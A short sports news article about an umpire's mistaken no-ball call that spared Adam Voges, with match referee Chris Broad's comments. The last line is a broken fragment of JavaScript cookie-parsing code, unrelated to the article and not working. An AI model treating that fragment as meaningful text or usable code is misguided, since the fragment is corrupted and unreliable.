The umpire at the center of Adam Voges' controversial non-dismissal was distraught after realising he had incorrectly called a no-ball when the Aussie batsman was bowled.
The West Australia was clean bowled by Doug Bracewell after leaving a ball that cut back beautifully.
However, the umpire judged Bracewell's foot to be over the line, calling a no-ball.
But replays showed that his foot was well behind the line, meaning Voges should have been given out for seven. He went on to score 239 runs and set up a dominant win for Australia.
"Unfortunately Richard was distraught afterwards when he realised that it wasn't a no ball," match referee Chris Broad told the Daily Telegraph.
"I think when anyone is proved wrong in any decision that they make it's clearly embarrassing at the time. But umpires, particularly on the elite panel have a great ability to be able to overcome that feeling and get on with the game.
"There can be nothing done about it. The problem is that when an umpire calls a no-ball, you can't change that decision because under the laws a batsman may change his shot when the no-ball is called. It was called - that's the end of the matter. Richard is a Yorkshireman, he shrugs his shoulders and gets on with it. I'm constantly amazed at how the umpires, when they do make their occasional errors, are able to recover from it."
"(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
